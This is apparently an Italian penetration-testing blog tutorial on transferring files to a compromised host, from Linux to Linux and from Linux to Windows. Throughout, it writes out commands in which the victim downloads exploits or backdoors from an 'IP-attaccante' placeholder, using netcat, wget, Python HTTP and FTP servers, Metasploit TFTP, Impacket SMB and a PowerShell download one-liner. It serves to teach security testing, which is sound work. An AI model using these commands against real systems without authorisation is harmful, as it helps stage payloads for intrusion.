Trasferire file tra due host (Linux-Linux e Linux-Windows)

Tempo di lettura: 7 minuti
Data pubblicazione: December 6, 2018

Dopo parecchi tentativi siamo finalmente riusciti ad ottenere un shell completa sull’host da compromettere, riusciamo ad eseguire comandi e compilare i programmi, ma la vittima non ha accesso a internet e dobbiamo passare file sulla macchina compromessa. Come ci comportiamo?

Durante dei penetration test è possibile che capiti di dover trasferire file sull’host compromesso, ad esempio backdoor, exploit o tool che ci possono servire per analizzare e compromettere delle reti interne. In questo articolo andremo ad analizzare i metodi più efficaci per trasferire dei file tramite la rete, sia su macchine Linux che su Windows.

Da Linux a Linux

Metodo 1 - Netcat

Uno dei metodi che prediligo, seppure banale e prono ad errori, è quello di utilizzare sulla macchina attaccante netcat, mentre sulla vittima wget (o curl). La connessione è molto semplice

┌─[mrtouch@parrot]─[~]
└──╼ $cat dirty.c | nc -lp 4444

Con questo comando sto inviando il file sulla porta 4444 a chiunque si connetta sul mio server TCP aperto con netcat. Sulla macchina vittima eseguirò

wget IP-attaccante:4444 -O dirty.c
Trasferimento di un file con netcat
Trasferimento di un file con netcat

Metodo 2 - HTTP

Un metodo più elegante è quello di creare un server con python e scaricare, tramite browser o da riga di comando, il file reso disponibile dalla macchina attaccante. Python ha un comando semplicissimo per fare ciò, che è

┌─[mrtouch@parrot]─[~] 
└──╼ $python -m SimpleHTTPServer 8888

Una volta eseguito, dall’host vittima basta aprire il browser (o usare il terminale), andare sulla porta 8888 dell’attaccante e scaricare il file. Per poter rendere disponibile il file, ricordatevi che il server dev’essere avviato dalla cartella in cui si trova!

Trasferimento di un file con python
Trasferimento di un file con python

Metodo 3 - FTP

Sempre sulla scia della scorsa modalità, python mette a disposizione anche un server FTP. Molto simile al comando scorso, l’attaccante rende disponibile il file sulla porta 21

┌─[mrtouch@parrot]─[~] 
└──╼ $python -m pyftpdlib -p 21

Dalla macchina vittima basterà connettersi da browser o tramite il comando

ftp IP-attaccante

con user:anonymous e password vuota

Trasferimento di un file con FTP
Trasferimento di un file con FTP

Metodo 4 - Netcat inverso

Un’altra modalità, molto simile al primo metodo, è quella di non usare il comando cat ma inviare il file direttamente da netcat. Questo è possibile grazie all’utilizzo della redirezione dell’output di Linux (simbolo <). L’attaccante esegue

┌─[mrtouch@parrot]─[~/server]
└──╼$nc IP-vittima 5555 < dirty.c

mentre la vittima si mette in ascolto

nc -lvp 5555 > dirty.c
Trasferimento di un file con netcat
Trasferimento di un file con netcat

Questa modalità è praticamente l’inverso del primo metodo, in quanto stavolta è la vittima a mettersi in ascolto e l’attaccante invia il file all’indirizzo IP specificato.

Da Linux a Windows

Metodo 1 - HTTP

Il metodo numero due precedentemente illustrato funziona ovviamente anche con un host Windows, basta utilizzare il browser.

Trasferimento di un file a Windows con Python
Trasferimento di un file a Windows con Python

Metodo 2 - FTP

Come prima, i comandi sono esattamente gli stessi. Attaccante,

┌─[mrtouch@parrot]─[~/server]
└──╼ $python -m pyftpdlib -p 21

Vittima

ftp IP-attaccante
Trasferire file a Windows con FTP
Trasferire file a Windows con FTP

Metodo 3 - TFTP (UDP)

Metasploit mette a disposizione un comodo server TFTP che permette di scaricare i file da Windows. Nelle nuove versioni di Windows non è disponibile di default, ma per poter eseguire il comando di download/upload basta digitare

pkgmgr /iu:"TFTP"

e verrà abilitato il tool tftp.

Il modulo di metasploit è auxiliary/server/tftp e l’unica opzione obbligatoria è la cartella che si andrà a rendere disponibile contenente i file.

Trasferimento di un file con TFTP
Trasferimento di un file con TFTP

Metodo 4 - SMB

Grazie ad Impacket possiamo creare un server SMB su Linux e condividere i file con un server SMB. Una volta installato si può avviare il server con il comando

┌─[mrtouch@parrot]─[~/server]
└──╼ $sudo smbserver.py SHRNAME smbfiles/

dove smbfiles è la cartella che vogliamo condividere sulla rete. Una volta avviato, sulla macchina Windows potremo visionare i file e scaricarli, tramite i seguenti comandi

C:> net view \\IP-attaccante
C:>dir \\IP\SHRNAME
C:>copy \\IP\SHRNAME\file.exe
Trasferimento di file con SMB
Trasferimento di file con SMB

Metodo 5 - HTTP con Powershell

Metodo abbastanza particolare, ma utile nel caso in cui non si possa usare il browser e non si riesca ad ottenere i files. Da Linux eseguiamo sempre

┌─[✗]─[mrtouch@parrot]─[~/server]
└──╼ $python -m SimpleHTTPServer 8080

mentre da Windows eseguiremo il seguente comando

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://IP-attaccante\file.exe','C:\Users\wind7\Desktop\file.exe')"
Trasferire file a Windows con Powershell
Trasferire file a Windows con Powershell

Conclusioni

La domanda che magari ci si potrebbe porre è quale dei metodi elencati è il migliore, ma la risposta è….dipende. Dipende dalla shell creata, dipende dall’infrastruttura in cui si è e dalla presenza o meno di firewall che potrebbero bloccare certi tipi di connessioni. Alcuni approfondimenti si possono comunque trovare a questo e questo link.